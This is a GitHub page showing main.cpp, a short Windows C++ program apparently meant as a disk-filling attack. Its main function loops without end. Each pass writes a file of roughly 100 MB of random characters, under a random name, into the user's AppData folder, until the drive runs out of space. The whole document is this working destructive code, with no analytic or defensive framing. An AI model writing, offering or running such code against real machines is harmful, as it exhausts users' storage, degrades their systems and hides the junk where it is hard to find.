-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
62 lines (50 loc) · 1.47 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <random>
#include <thread>
#include <iostream>
#include <Windows.h>
#include <shlobj.h>
#include <fstream>
std::random_device rng;
std::mt19937 gen(rng());
std::uniform_int_distribution<int> randnum(31, 62);
std::wstring makefilename(int n) {
std::wstring charset = L"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
std::random_device rd;
std::shuffle(charset.begin(), charset.end(), rd);
return charset.substr(0, n) + L".txt";
}
std::wstring makestring(int n) {
std::random_device rng;
std::mt19937 gen(rng());
std::uniform_int_distribution<int> randnum(69, 42024);
std::wstring res;
res.reserve(n);
for (int i = 0; i < n; ++i) {
int x = randnum(gen);
res.push_back(static_cast<wchar_t>(x));
}
return res;
}
void makefile() {
wchar_t appDataPath[MAX_PATH];
SHGetFolderPathW(nullptr, CSIDL_APPDATA, nullptr, 0, appDataPath);
std::wstring filename = static_cast<std::wstring>(appDataPath) + L"\\" + makefilename(randnum(rng));
std::wstring content = makestring(50 * 1024 * 1024);
HANDLE file = CreateFileW(
filename.c_str(),
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
WriteFile(file, content.data(), static_cast<DWORD>(content.size() * sizeof(wchar_t)), nullptr, NULL);
CloseHandle(file);
}
int main() {
while (true) {
makefile();
}
return 0;
}